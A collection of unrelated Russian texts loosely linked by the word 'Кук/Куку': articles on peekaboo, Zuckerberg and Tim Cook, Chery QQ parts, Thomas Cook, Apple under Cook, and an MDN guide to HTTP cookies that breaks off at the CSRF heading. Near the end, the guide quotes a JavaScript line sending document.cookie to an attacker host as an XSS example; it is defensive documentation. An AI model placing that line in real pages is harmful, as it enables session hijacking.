Куку для: «Ку-ку, мой мальчик!» Почему все дети любят эту игру?

Содержание

«Ку-ку, мой мальчик!» Почему все дети любят эту игру?

  • Том Стаффорд
  • BBC Future

Автор фото, Thinkstock

Эта игра популярна во всем мире – для нее не существует культурных и языковых барьеров. Почему? Вероятно, потому, что она является мощным инструментом обучения и вхождения в жизнь, считает постоянный автор BBC Future.

Вы закрываете лицо руками, а потом медленно отводите одну руку и выглядываете как из-за забора. Ку-ку! Малыш смеется, и вы смеетесь в ответ. И повторяете это снова и снова.

Игра в «ку-ку» не устаревает и не выходит из моды. Моя малолетняя дочь может играть в нее часами, и я сам играл, когда был малышом (“Ты много смеялся!” — вспоминает моя мать), играет поколение за поколением. Младенцы отличаются друг от друга личностными качествами и набором генов, мы рождаемся и растем в самых разных обстоятельствах. Почему же дети во всем мире так любят одну и ту же игру?

Маленькие дети не читают книг, и их круг общения довольно ограничен. Поэтому удивительная распространенность и популярность игры в «ку-ку», пожалуй, говорит о том, что она связана с некими фундаментальными процессами человеческого мышления. Это не просто забава – изучая ее, мы лучше понимаем, как устроен разум взрослого человека.

Начав заниматься этим вопросом, исследователи для начала предположили, что дети любят играть в «ку-ку», потому что они каждый раз удивляются, когда исчезнувшие предметы (или лицо самого близкого человека) вновь появляются в поле зрения. Для взрослого вроде бы ничего смешного в этом нет, но надо помнить, что маленький ребенок не воспринимает многие вещи как само собой разумеющееся. Новорожденный ничего не понимает в окружающем мире — и лишь постепенно учится разбираться в том, что происходит вокруг. Взрослый знает, что если слышен голос человека, то и он сам где-то неподалеку, а закатившийся за диван мяч не исчезает бесследно. Но давайте подумаем, как у нас сформировалось знание о таких вещах.

Автор фото, Thinkstock

Подпись к фото,

Ребенок привыкает к мысли о постоянстве объектов

Швейцарский психолог Жан Пиаже назвал этот принцип «постоянством объектов» и заключил, что дети постигают его в течение первых двух лет жизни. И как раз в этом возрасте они особенно любят «ку-ку». Если взглянуть на игру с этой точки зрения, то становится понятно, что это не пустое развлечение, а способ осознать один из важнейших принципов мироустройства: то, что объекты могут существовать и тогда, когда мы не видим их.

Возможно, в результате эволюции наши дети получили «встроенную» склонность к игре в «ку-ку» в первую очередь потому, что она полезна для развития мышления. Но мне кажется, что причины ее популярности этим не ограничиваются.

Сюрприз!

Главный принцип этой игры такой же, как и у хороших шуток – сюрприз должен быть до какой-то степени ожидаемым. Исследователи Джерод Пэррот и Генри Глейтман продемонстрировали это в серии забавных опытов с участием шести-, семи- и восьмимесячных младенцев. С детьми играли в основном в традиционное «ку-ку», но иногда спрятавшийся взрослый появлялся в другом месте, или же вместо него появлялся другой человек. Видеозаписи этих игр потом показали независимым наблюдателям, которые оценивали, насколько весело было малышам.

Автор фото, Thinkstock

Подпись к фото,

Постепенно дети усложняют ситуацию и готовы удивлять сами

Оказалось, что в ходе «обманных раундов», когда элемент сюрприза был повышен, дети улыбались и смеялись меньше. К тому же, разница в восприятии традиционного и обманного «ку-ку» становилась более выраженной с возрастом (восьмимесячным испытуемым «обманки» нравились меньше). Ученые заключили, что важный элемент этой игры – предсказуемость результата. Подрастая, ребенок становится способен все лучше предугадывать исход, и когда происходит нечто неожиданное, младенцу уже не так смешно.

Еще один секрет популярности «ку-ку» в том, что, как ни странно, эта игра разнообразна. Малыш растет, и воспитатель видоизменяет игру в соответствии с развитием – взрослый и ребенок играют во все новые ее разновидности. Для начала взрослый просто сообщает о своем приближении голосом, а потом входит в ближайшее поле зрения малыша, позднее карапузам нравится смотреть, как взрослый прячется и появляется вновь, а после года многие дети уже сами готовы играть в прятки.

Автор фото, Thinkstock

Подпись к фото,

Обучение через игру свойственно не только человеку

Эта игра продолжает радовать ребенка – в ней легко соблюдается баланс между получением знаний о мире, контролем и сюрпризом. А нам, взрослым, так нравится детский смех, что мы и сами рады поиграть. Ку-ку!

Об авторе. Том Стаффорд читает лекции на факультете психологии Шеффилдского университета (Англия). Он соавтор бестселлера MindHacks и ведет одноименный блог.

«Слишком поверхностно и недостоверно»: Цукерберг ответил Куку на критику в адрес Facebook

Марк Цукерберг ответил на недавнюю критику в адрес Facebook со стороны Тима Кука, который по сути обвинил соцсеть в торговле своими пользователями, отметив, что его компания никогда бы так не поступила. В недавнем выпуске подкаста The Ezra Klein Show с основателем Vox Эзра Клеем основатель Facebook назвал представление Тима Кука о бизнес-модели соцсети «слишком поверхностным» и таким, что «не имеет ничего общего с реальностью».

Напомним, на прошлой неделе Тим Кук в интервью изданию Recode и каналу MSNBC заявил, что он и его компания никогда бы не оказались в ситуации, подобную той, что возникла у Facebook и Марка Цукерберга. Особый акцент глава Apple делал на приватности и защите данных пользователей, подразумевая, что его компания в этом плане лучше Facebook, так как не торгует данными своих пользователей.

«Мы могли бы заработать кучу денег, если бы начали монетизировать наших пользователей. Если бы клиенты стали нашим продуктом. Но мы решили этого не делать», – сказал тогда Тим Кук.

Заявив, что оценка Кука не соответствует действительности Цукерберг принялся объяснять реальное положение дел.

«Реальность же такова, что создавая сервис, который позволит людям по всему миру всегда оставаться на связи, столкнешься с тем, что далеко не все смогут заплатить за услуги», – объясняет Цукерберг. – «И поэтому, как и в случае с большинством проектов в сфере медиа, рекламная модель монетизации – единственная целесообразная модель обеспечения доступности этого сервиса для людей».

Цукерберг также добавил, что Facebook вполне может служить на благо человечеству и одновременно опираться на бизнес-модель, где реклама служит главным способом монетизации.

«И это вовсе не означает, что нам нет никакого дела до людей. Скорее, наоборот», – заключил Марк.

Никто не станет оспаривать тот факт, что для Facebook реклама – это главный источник заработка и именно от этого зависит развитие соцсети. То есть, без рекламы невозможно предоставлять столь широкий спектр услуг абсолютно бесплатно. Но сейчас компании важно как можно быстрее вернуть доверие пользователей и сделать так, чтобы все поверили, что соцсети действительно не все равно. И первые шаги на пути выхода из кризиса компания уже начала делать.

Полностью подкаст можно послушать здесь.

Источник: Vox

Запчасти Chery QQ (S11) — Чери КуКу

Запчасти Chery QQ (S11) — Чери КуКу

Серийный выпуск этой модели стартовал в 2003 году. Началу производства предшествовала стадия НИОКР, которая компанией-производителем свелась к копированию Daewoo Matiz с увеличением внутреннего пространства кузова и некоторыми изменениями дизайна.

Такой откровенный плагиат вызвал ответные действия. Сразу же после начала продаж последовал иск General Motors, владельца Daewoo, к китайскому производителю.

Суд отказал в удовлетворении иска, а сам факт судебного разбирательства оказался для китайской стороны результативной промо акцией. Машина, и без того пользовавшаяся спросом на внутреннем рынке, стала продаваться лучше, география ее продаж расширилась.

Изначально этот пятиместный автомобиль комплектовался одним из двух 4-цилиндровых инжекторных двигателей (норма токсичности — Euro III): 1,1-литровым или 0,8-литровым. При оба двигателя могли работать и с механической, и с автоматической пятиступенчатыми коробками переключения передач.

Двигатель SQR472 объемом 1,1 литра при 6000 оборотах в минуту развивает мощность 68 лошадиных сил. Это позволяет разогнать автомобиль от 0 до 100 километров в час за 17 секунд и достичь до скорости 130 километров в час.

При емкости топливного бака 35 литров расход топлива на 100 километров пробега (городской – загородный – смешанный циклы) составляет, соответственно 8 – 6,1 – 7,2 литра.

Габаритные размеры машины (длина х ширина х высота) – 3550 х 1495 х 1485 миллиметров. Объем багажника – 190 литров.

Чери КуКу на украинском рынке

В Украине автомобиль появился в сентябре 2007 года и быстро нашел своих покупателей. Две загадочные латинские буквы (QQ) в его названии породили разные неофициальные варианты в русскоязычном написании, когда к Чери произвольно добавлялись всевозможные заменители этих букв.

Редкая запчасть запчасть Чери Кью Кью являлась дефицитом, поскольку рынок предлагал большой выбор аналогов с Daewoo Matiz.

В магазине нашей компании можно купить все запчасти для Чери КуКу оригинального производства. Google выполнит запрос, даже если Вы введете в поисковое окно, скажем, “chery qq каталог запчасть”, “chery qq каталог запчасть”или “запчасть сhery qq”.

Вы попадете на наш сайт, где просмотрите каталог запчастей и сделаете выбор. Мы же поможем оформить заказ и организуем доставку купленного товара, сообразуясь с Вашими пожеланиями.

Запчасти Chery QQ (S11) — Чери КуКу с доставкой по Украине: Белая Церковь Бердянск Винница Днепр Житомир Запорожье Ивано-Франковск Каменец-Подольский Каменское Киев Кременчуг Кривой Рог Кропивницкий Луцк Львов Мариуполь Мелитополь Николаев Никополь Одесса Полтава Ровно Сумы Тернополь Ужгород Харьков Херсон Хмельницкий Черкассы Чернигов Черновцы

Томас Кук (Thomas Cook): человек, придумавший туризм

Томас Кук: человек, придумавший туризм

«Закажем билеты в конторе Кука». Для многих поколений европейцев, и прочих жителей планеты, именно с этой фразы начиналось увлекательное и обязательно комфортное путешествие.

ЭКСКУРСИЯ В ЛАФБОРО

Англичанин Томас Кук не просто изобрел туризм и создал первую туристическую фирму. Его заслуга куда значительнее — миллионам людей, чья жизнь традиционно ограничивалась стенами дома да несколькими соседними улицами, он открыл красоту и разнообразие огромного мира. Ведь даже в «просвещенном» XIX веке, как его именовали современники, на путешествие, хотя бы краткое, обычно отваживались немногие. Если, конечно, их не толкала в путь острая необходимость.

Сын небогатого фермера Томас Кук родился в английской деревуш¬ке Мельбурн 22 ноября 1808 г. Уже в десять лет из-за смерти отца он начал работать — садовником, потом недолгое время печатником, а впоследствии освоил ремесло краснодеревщика. В 18 лет он стал баптистским проповедником и од-ним из активистов местного обще-ства трезвости.

Томас Кук был вполне благополучным человеком, ничем не выделяющимся среди других, таких же как он, англичан со средним достатком. Однако было в нем что-то, позволившее не просто следовать, как большинству, жизненным обстоятельствам, а суметь воспользоваться ими.

В 1840 г. было открыто железнодорожное сообщение между Дерби и Рагби. Дымное и не слишком комфортное детище прогресса вызывало в публике восторг, восхищение, но никак не желание прокатиться на грохочущем чудовище. Это был своего рода экстрим, привлекающий немногих. Но Томас Кук сумел оценить и возможности нового скоростного транспорта, и нужду железнодорожных компаний в общественном признании. Он встретился с главой Midland Railway и убедил его предоставить скидку соратникам Кука по борьбе с пьянством в случае, если они наймут поезд. Состав был ему необходим, чтобы попасть на ежеквартальный съезд сторонников трезвости в Лафборо, в 12 милях от Лондона.

Воинствующим абстинентам идея Кука прокатиться на поезде понравилась. Тем более что и сама поездка, и обещанные развлечения, и еда должны были обойтись не в такую уж большую сумму — 1 шиллинг.

5 июля 1841 г. под звуки оркестра и приветственные крики толпы 570 человек организованно отбыли в Лафборо. Эту дату можно, смело считать днем рождения туризма. В восторге от путешествия были и первые в мире туристы, и владельцы железнодорожной компании, которые получили отличную рекламу. Но больше всех был доволен Томас Кук, который, возможно, еще даже не прозревал открывающиеся перед ним возможности. В свой дневник он внес скромную запись: «Я имел честь возглавить первую публичную железнодорожную экскурсию в истории Англии».

В 1866 г. первая туристическая группа из англичан, которую возглавил Джон Меисон Кук, побывала в Соединенных Штатах

КУК ВСЕ ОБЕСПЕЧИТ

За первой последовали другие поездки. Причем поначалу Томас организовывал их без всякой выгоды для себя. Так продолжалось до 1845 г., когда он заработал первые деньги на экскурсии в Ливерпуль. Но трудился он явно не ради выгоды. Его скорее увлекала сама работа. В 1846 г. он объявляет о начале тематических путешествий — поездок в Шотландию, на родину Вальтера Скотта и Роберта Бернса. Затем появляются туры по Ирландии, Уэльсу, на остров Мэн.

Некоторые биографы Кука объясняют популярность этих туров любовью англичан к творчеству великих шотландцев. Но, наверное, весомой были причины социальные и экономические. Во-первых, в начале 40-х трейдюнионы добились для рабочих и служащих ежегодных отпусков. У огромной массы людей появилось свободное время. Во-вторых, Кук пользовался поддержкой железнодорожных компаний, которым очень нравился придуманный им девиз «Железные дороги — для миллионов». В-третьих, Кук никогда не ориентировался исключительно на богачей. В круг своих потенциальных Клиентов он старался включать и людей со средним достатком. И, наконец, в-четвертых, предоставляемые им услуги всегда отличались высоким качеством.

Вручив себя в руки агентов Кука, можно было быть уверенным, что поездка будет комфортной, безопасной, познавательной; что даже путешествие вокруг света не потребует ровно никаких усилий. Кук все обеспечит. В общественном мнении репутация контор Кука была высока и непоколебима.

Энергия Томаса Кука была поистине поразительной. Ему удается уговорить некоторых крупных английских землевладельцев открыть свои поместья и замки для туристов. Одновременно Кук создает клубы для рабочих, члены которых еженедельно вносили в кассу небольшую сумму, а в итоге получали туристическую путёвку в Лондон на торгово-промышленную выставку. Благодаря его усилиям ее смогли посетить 165 тыс. человек. Томас начинает издавать журнал «Экскурсант» — первый журнал для туристов, который просуществовал до Второй мировой войны.

Применительно к жизни и деятельности Томаса Кука часто приходится использовать слово «первый». Он был , неистощим на выдумки и идеи. Поэтому совершенно логично, что очень скоро от внутреннего туризма Кук перешел к зарубеяшому. В 1855 г. он открывает первый заграничный маршрут в Париж, на Всемирную выставку.

Thomas Cook & Son была первым туроператором, воспользовавшимся авиацией для перевозки туристов. Это произошло в 1919 году

ОТ ЛА-МАНША ДО СУЭЦА

Консервативные судовладельцы не столь благоволили Куку в отличие от нуворишей делового мира — железнодорожных магнатов. На скидки для его клиентов, собравшихся в Европу, они не пошли. Но в результате получилось по пословице «Не было бы счастья, да несчастье помогло»: Кук, отказавшись от переправы через Ла-Манш, организовал многоэтапный маршрут, включавший остановки в Брюсселе, Кельне, Гейдельберге, Баден-Бадене, Страсбурге и Париже. Назад, в Лондон, туристы возвращались через Гавр или Дьеп.

Надо отдать должное Куку, его предусмотрительности, умению вникать даже в мелкие детали, прогнозировать самые разные ситуации. Он сам проехал весь маршрут, подписал контракты с перевозчиками, владельцами гостиниц, рестораторами, гидами. Выпустил подробные путеводители, содержавшие массу практических советов, как себя вести в чужой стране. И опять ошеломляющий успех.

В 1868 г. Томас Кук ввел систему гостиничных купонов, по которым можно было получить по фиксированной цене номер в отеле во всех крупных городах Британии

Свою благодарность за популяризацию парижской выставки ему выразил император Наполеон III.

Спустя восемь лет Кук осваивает Швейцарию, а затем присоединяет к своей туристической империи и Италию.

В 1864 г. к Томасу присоединяется его сын Джон Мейсон. Под его руководством экспансия продолжается. Контора Thomas Cook & Son возит англичан в Новый Свет, а американцам предлагает поездки в Англию и в Европу. А затем наступает время Азии.

То, что Кук обратил внимание на Палестину, было вполне естественно. Всю жизнь он оставался ревностным христианином, и идея паломничества в Святую землю была ему, конечно, близка. Учитывал он и тот фактор, что о такой поездке мечтали миллионы католиков, православных, протестантов в Европе и в Америке. Первую группу «паломников Кука» из 60 человек сопровождали 77 вооруженных сотрудников фирмы и караван из 87 вьючных лошадей. Главное было обеспечить максимальный комфорт богомольцам. Кстати, уровень его оказался столь высок, что к Куку обратился наследник британской короны принц Уэльский с просьбой включить в следующий тур своих сыновей Альберта и Георга.

Премьер-министр Великобритании Гладстон увидел в туристической индустрии, которую так успешно выстраивал Томас Кук, мощный политический инструмент. С целью укрепления связей между метрополией и колониями он предложил Куку организовать для англичан поездки в Индию, а для богатых и влиятельных индусов — в Англию. Политический заказ был выполнен с блеском. Более того, Кук стал возить индусов-мусульман в Мекку. Изобретенный им религиозный туризм стал процветать с первого года.

От Индии Томас Кук перешел к Египту. Это тоже была правительственная инициатива. Британцы обживали не только открытый в 1869 г. Суэцкий канал, но и Нил. Кук пустил по нему экскурсионные суда. Путешествие в Египет, включая стоимость билетов на пароходы и поезда, проживание в гостиницах, питание, экскурсии, услуги гидов, обходилось в зависимости от класса от 81 до 119 фунтов. Деньги большие, но отнюдь не сумасшедшие.

Первый кругосветный тур, который был организован Томасом Куком в 1872-1873 гг., длился 222 дня. За это время путешественники преодолели 25 тыс. миль. В 1991 году, в ознаменование очередной круглой даты, компания Кука организовала кругосветное путешествие. На этот раз для него потребовалось всего 34 дня

Цены в конторе Кука, действительно, были умеренные. Как уже отмечалось, за высокими прибылями он не гнался. Комфортабельное путешествие вокруг света, по утверждению газеты Daily Express, можно было совершить за 183 фунта 18 шиллингов.

Кстати, когда Томас Кук умер в 1892 г. его личное состояние оценивалось всего в 2 497 фунтов стерлингов. Сын пережил отца всего на семь лет. Дело перешло к внукам — Фрэнку Генри, Эрнесту Эдварду и Томасу Альберту.

ТУРИЗМУ- 165 ЛЕТ

В начале XX века компания Thomas Cook & Son процветала. В 1926 г. ее центральный офис перебрался на Беркли-стрит в аристократическом лондонском районе Мейфэр. И вдруг, к всеобщему изумлению, Фрэнк и Эрнест {Альберта уже не было в живых) принимают решение продать свой успешный бизнес. Его новым хозяином — становится бельгийская железнодорожная корпорация Wagons-Lits, владевшая самыми фешенебельными на континенте поездами, в том числе и знаменитым «Восточным экспрессом».

В последующие годы компания Кука неоднократно переходила из рук в руки. Многие стремились обладать этим прославленным брендом, но далеко не всем удавалось cделать предприятие прибыльным. В 1942 г. британское правительство реквизировало активы компании и, чтобы избежать финансового коллапса, передало контрольный пакет акций четырем крупнейшим железным дорогам страны. А в 1948-м, после национализации магистралей, компания вообще отошла к государству.

Общеизвестно, что когда за управление отраслью берутся государственные чиновники, она становится неповоротливой, у мало восприимчивой к новым веяниям и идеям. Так случилось и с компанией Thomas Cook & Son. В послевоенные годы на рынок вышли молодые, энергичные предприниматели, которые предложили англичанам новые привлекательные возможности по более низкой цене. И хотя дела у старейшего туроператора мира шли неплохо, а в 1965 г. общая прибыль даже впервые перевалила за 1 млн фунтов стерлингов, новички всерьез потеснили своего «влиятельного прародителя.

В 1972-м в результате денационализации Thomas Cook & Son вновь перешла в частные руки и была куплена консорциумом в составе Midland Bank, Trust House Forte и Автомобильной ассоциации. Сразу же были приняты экстренные меры по восстановлению утраченных позиций. В результате компания смогла устоять во время экономического кризиса 70-х годов, когда обанкротились многие туристические фирмы. А в последующие годы, уже при новых владельцах, предприняла мощную экспансию, захватывая одну за другой крупные британские и зарубежные компании.

Сегодня Thomas: Cook & Son — крупнейшая и наиболее респектабельная на Британских островах туристическая компания. По Своим экономическим показателям она — вторая в Европе и третья в мире. В Великобритании и во многих других странах насчитывается свыше тысячи ее агентств. На нее сейчас работает более 16 тыс. человек.

Причина успеха Thomas Cook & Son в том, что руководство компании, уловив новейшие экономические веяния века, сумело создать мощную вертикально интегрированную корпорацию, которая оказывает своим клиентам весь комплекс туристических услуг. Через сеть собственных агентств, колл-центров, систем интернет-продаж и телевизионных «магазинов на диване» она предлагает им туры на любой вкус и в любую страну. Через свои обменные бюро компания обеспечивает путешественников необходимой валютой и дорожными чеками, в том числе и фирменными — Thomas Cook. Ее знаменитыми и, по общему признанию, самыми полными и точными путеводителями, ведущими историю еще с далекого 1855 г., пользуются миллионы искателей приключений. И, наконец, она обладает крупнейшим в Великобритании флотом чартерных воздушных кораблей, доставляющих туристов куда они только пожелают. Переиначив классическую фразу, можно сказать, что над империей Кука никогда не заходит солнце. В минувшем году Thomas Cook & Son отметила 165-летнюю годовщину первой туристической поездки. Она встретила юбилей на подъеме, сохранив славные традиции своего основателя и в то же время вдохнув в них современное звучание, безудержную фантазию и молодой предпринимательский азарт.

По данным Всемирной туристической организации, в прошлом году путешествия за границу в общей сложности совершили свыше 800 млн человек. Иными словами — каждый седьмой житель Земли. Посещение других стран стало для нас и праздником и, одновременно,совершенно привычным и рутинным делом. И все мы за это должны благодарить Томаса Кука, человека, придумавшего туризм.

Василий АНДРЕЕВ
По материалам журнала «Бизнес и Выставки» №2 (22) за 2007 г.

Apple Джобса против Apple Кука – Бизнес – Коммерсантъ

24 августа 2011 года Стив Джобс ушел в отставку с поста гендиректора Apple. Его место занял Тим Кук. Многие эксперты тогда высказывали сомнения в будущем корпорации без ее харизматичного основателя.

Господство сервисов и метода

С тех пор Apple стала самой дорогой компанией мира — ее рыночная капитализация выросла на 600%, приблизившись к $2,5 трлн. Гаджетами Apple пользуются более миллиарда человек, а сама компания регулярно продолжает обновлять рекорды финансовой отчетности. Выручка за третий квартал нынешнего года составила $81,4 млрд — почти втрое больше, чем компания заработала в тот же квартал 2011 года.

«Это, возможно, самый успешный переход от одного сильного руководителя к другому в корпоративной истории,— говорит в 2021 году директор по исследованиям инвесткомпании FBB Capital Partners Майк Бейли.— Честно говоря, возможно, Apple больше нуждалась во вдохновителе и политике, чем в основателе, склонном к ручному управлению и работе до изнеможения. Это поддержание империи, а не ее строительство».

Если Стив Джобс был известен своим умением создавать прорывные гаджеты и изменять представления пользователей о том, каким может быть компьютер или смартфон, то господин Кук очень хорош в создании экосистемы — набора возможностей, сервисов и устройств.

В эти десять лет была создана разветвленная система сервисов для владельцев гаджетов компании (и не только). Это и запущенный в 2011 году облачный сервис iCloud, и созданные в 2015 году музыкальный стриминговый сервис Apple Music и платежный сервис Apple Pay, игровой сервис Apple Arcade (2019 год).

Один из последних и самый амбициозный проект — видеосервис Apple TV+. Он запущен в 2019 году. С тех пор Apple уже инвестировала в него миллиарды долларов, собирается вложить еще миллиарды в ближайшие годы и готова конкурировать с Netflix и Disney+.

В 2011 году выручка от сервисов составляла $3 млрд. В 2016 году она достигла $20 млрд, а в прошлом — $53,8 млрд. На нее приходится уже около 20% доходов компании.

Такая диверсификация позволила сделать бизнес более устойчивым.

В первые годы руководства господина Кука корпорация переживала некоторое замедление: продажи iPhone росли слабо или даже несколько снижались. Однако потом Apple удалось вернуться к устойчивому росту.

О диверсификации деятельности свидетельствует и тот факт, что под руководством господина Кука Apple приобрела более сотни компаний самых разных направлений. В числе прочего она купила известного производителя наушников Beats Electronics за $3 млрд, приложение для распознавания музыки Shazam за $400 млн, стартап Drive.ai, специализирующийся на технологиях беспилотного вождения за $200 млн, а также подразделение корпорации Intel по производству модемов за $1 млрд.

Что касается устройств, в последнее десятилетие корпорация представила такие ставшие весьма популярными гаджеты, как «умные часы» Apple Watch в 2015-м и наушники AirPods в 2016 году. Конечно, ни один из этих продуктов не является новаторским, однако они, как и сервисы, удачно дополняют всю экосистему Apple.

Конфликты и отсутствие новаторства

Одновременно с этим Apple часто попадала сложные ситуации. Вот только самый последний случай, когда корпорация оказалась в центре острой критики, хотя как будто и исходила из исключительно благих побуждений.

В начале августа Apple объявила, что будет активнее бороться с детской порнографией — и для этого установит на iPhone и iPad специальное ПО для поиска такого контента. Это вызвало волну критики со стороны сторонников приватности. Более 4,4 тыс. частных лиц и организаций подписали обращение к Apple с призывом отказаться от этих планов.

Среди других крупных конфликтов — противостояние с Facebook и другими компаниями, важная часть доходов которых приходится на онлайн-рекламу.

В этом случае Apple обновила политику конфиденциальности, значительно ограничив сбор информации о пользователях, используемой для таргетированной рекламы.

В свою очередь, многие разработчики недовольны 30-процентной комиссией, взимаемой Apple со всех платежей внутри приложений в App Store. В прошлом году разработчик игр Epic Games, а вслед за ним и многие другие фирмы, включая Spotify, Match Group, Microsoft и Facebook, запустили кампанию по снижению этой комиссии. В мае господину Куку даже пришлось дать показания в суде по этому делу.

Еще один повод для критики — отношения с сотрудниками.

И если раньше в центре внимания общественности оказывались скорее плохие условия труда на заводах ее поставщиков в Китае и других развивающихся странах, то в последнее время возникают и конфликты с американскими сотрудниками Apple. Так, когда в июне компания объявила о скором выходе в офис после более чем года работы из дома, это вызвало недовольство многих ее сотрудников.

Господина Кука периодически упрекают в том, что за десять лет Apple не выпустила ничего столь же прорывного и революционного вроде iPhone. По мнению экспертов, в будущем у корпорации возможны сложности при все большем распространении интернета вещей. Хотя в линейке есть «умная колонка» HomePod, в целом Apple отстает в этом отношении от многих конкурентов.

«Можно сказать, что они все еще сильно зависят от iPhone. Я пытаюсь вообразить, как будет выглядеть будущее и что произойдет, когда смартфон перестанет быть центром вселенной»,— отмечает аналитик компании D.A. Davidson Том Форте.

Хотя регулярно пишут о том, что Apple занимается разработкой собственных очков дополненной реальности, собственных чипов или беспилотного автомобиля, пока все это остается на уровне разработок.

Впрочем, другие эксперты защищают стиль руководства господина Кука. Они говорят о «триумфе метода над магией» или «создании феномена с точки зрения фондового рынка», имея в виду более системное чему у Стива Джобса руководство компанией и непрекращающийся рост ее акций.

«Apple господина Кука, как говорят многие бывшие топ-менеджеры Apple,— это корпоративный гигант, стремящийся к росту за счет империи продуктов и услуг вокруг революционных изобретений его предшественника»,— пишет The Wall Street Journal.

«Это то, чего многие не понимают: поступательное развитие революционно для Apple. Как только они входят в какую-либо категорию с простым элегантным решением, они начинают прокладывать курс и овладевать пространством. Не нужно ставить все новые рекорды в скорости, просто развивайтесь органично»,— считает Крис Дивер, несколько лет занимавшийся подбором кадров для команд исследователей и разработчиков Apple.

Яна Рождественская

Куки HTTP — HTTP | MDN

HTTP cookie (web cookie, cookie браузера) — это небольшой фрагмент данных, отправляемый сервером на браузер пользователя, который тот может сохранить и отсылать обратно с новым запросом к данному серверу. Это, в частности, позволяет узнать, с одного ли браузера пришли оба запроса (например, для аутентификации пользователя). Они запоминают информацию о состоянии для протокола HTTP, который сам по себе этого делать не умеет.

Cookie используются, главным образом, для:

⦁    Управления сеансом (логины, корзины для виртуальных покупок)
⦁    Персонализации (пользовательские предпочтения)
⦁    Мониторинга (отслеживания поведения пользователя)

До недавнего времени cookie принято было использовать в качестве хранилища информации на стороне пользователя. Это могло иметь смысл в отсутствии вариантов, но теперь, когда в распоряжении браузеров появились различные API (программные интерфейсы приложения) для хранения данных, это уже не так. Из-за того, что cookie пересылаются с каждым запросом, они могут слишком сильно снижать производительность (особенно в мобильных устройствах). В качестве хранилищ данных на стороне пользователя вместо них можно использовать Web storage API (localStorage and sessionStorage) и IndexedDB.

Чтобы посмотреть сохранённые cookies (и какие ещё способы хранения данных использует веб-страница), можно использовать Storage Inspector (Инспектор хранилища) из раздела Developer Tools (Веб-разработка).

Получив HTTP-запрос, вместе с откликом сервер может отправить заголовок  Set-Cookie с ответом. Cookie обычно запоминаются браузером и посылаются в значении заголовка HTTP  Cookie (en-US) с каждым новым запросом к одному и тому же серверу. Можно задать срок действия cookie, а также срок его жизни, после которого cookie не будет отправляться. Также можно указать  ограничения на путь и домен, то есть указать, в течении какого времени и к какому сайту  оно отсылается.

Заголовки

Set-Cookie и Cookie

Заголовок Set-Cookie  HTTP-отклика используется для отправки cookie с сервера на клиентское приложение (браузер). Простой cookie может задаваться так:

Set-Cookie: <имя-cookie>=<заголовок-cookie>

Этот заголовок с сервера даёт клиенту указание сохранить cookie (это делают, например, PHP, Node.js, Python и Ruby on Rails). Отклик, отправляемый браузеру, содержит заголовок Set-Cookie, и cookie запоминается браузером.

HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry

[page content]

Теперь, с каждым новым запросом к серверу, при помощи заголовка Cookie (en-US) браузер будет возвращать серверу все сохранённые ранее cookies. 

GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry

Сессионные cookie

Простой cookie, пример которого приведён выше, представляет собой сессионный cookie (session cookie) — такие cookie удаляются при закрытии клиента, то есть существуют только на протяжении текущего сеанса, поскольку атрибуты Expires или  Max-Age для него не задаются. Однако, если в браузере включено автоматическое восстановление сеанса, что случается очень часто, cookie сеанса может храниться постоянно, как если бы браузер никогда не закрывался.

Постоянные cookies

Постоянные cookie ( permanent cookies) удаляются не с закрытием клиента, а при наступлении определённой даты (атрибут Expires) или после определённого интервала времени (атрибут Max-Age).

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;

Secure

("безопасные") и HttpOnly cookies

«Безопасные» (secure) cookie отсылаются на сервер только если запрос выполняется по протоколу SSL и HTTPS. Однако важные данные никогда не следует передавать или хранить в cookies, поскольку сам их механизм весьма уязвим в отношении безопасности, а флаг secure никакого дополнительного шифрования или средств защиты не обеспечивает. Начиная с Chrome 52 и Firefox 52, незащищённые сайты (http:) не могут создавать куки с флагом secure.

Куки HTTPonly не доступны из JavaScript через свойства Document.cookie API, что помогает избежать межсайтового скриптинга (XSS (en-US)). Устанавливайте этот флаг для тех cookie, к которым не требуется обращаться через JavaScript. В частности, если куки используются только для поддержки сеанса, то в JavaScript они не нужны, так что в этом случае следует устанавливать флаг HttpOnly.

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly

Область видимости куков

Директивы Domain  и Path определяют область видимости куки, то есть те URL-адреса, к которым куки могут отсылаться.
Атрибут Domain указывает хосты, на которые отсылаются куки. Если он не задан, то по умолчанию берётся доменная часть адреса документа (но без поддоменов).  Если домен указан явно, то поддомены всегда включены.

Например, если задано Domain=mozilla.org, то куки включены и в поддоменах, например, в developer.mozilla.org.

Атрибут Path указывает URL, который должен быть в запрашиваемом ресурсе на момент отправки заголовка Cookie.  Символ %x2F («/») интерпретируется как разделитель разделов, подразделы также включаются.

Если задано Path=/docs, то подходят и такие пути, как:

  • «/docs»,
  • «/docs/Web/»,
  • «/docs/Web/HTTP»

Куки

SameSite

Куки SameSite позволяют серверам декларировать, что куки не должны отсылаться с межсайтовыми запросами, что в некотором роде обеспечивает защиту от межсайтовых подделок запроса (CSRF). Куки SameSite находятся пока в стадии эксперимента и поддерживаются не всеми браузерами.

Доступ из JavaScript посредством

Document.cookie

Куки можно создавать через JavaScript при помощи свойства Document.cookie. Если флаг HttpOnly не установлен, то и доступ к существующим cookies можно получить через JavaScript.

document.cookie = "yummy_cookie=choco";
document.cookie = "tasty_cookie=strawberry";
console.log(document.cookie);

Учитывайте, пожалуйста, вытекающие из этого проблемы в отношении безопасности, подчёркнутые ниже (раздел Security). Куки, доступные для JavaScript, могут быть похищены посредством XSS.

Важная информация никогда не должна храниться или передаваться в куках HTTP, поскольку этот механизм сам по себе небезопасен.

Захват сессии (session hijacking) и XSS

Куки часто используются в веб-приложениях для идентификации пользователя и сеанса работы, в котором он прошёл процедуру аутентификации. Соответственно, похищение куков из приложения может привести к захвату авторизованного сеанса пользователя. Кража куков часто осуществляется посредством социальной инженерии (Social Engineering) и использования уязвимости приложения для XSS (en-US).

(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

Атрибут HttpOnly помогает понизить эту угрозу, перекрывая доступ к кукам из JavaScript..

Межсайтовая подделка запроса (CSRF — Cross-site request forgery)

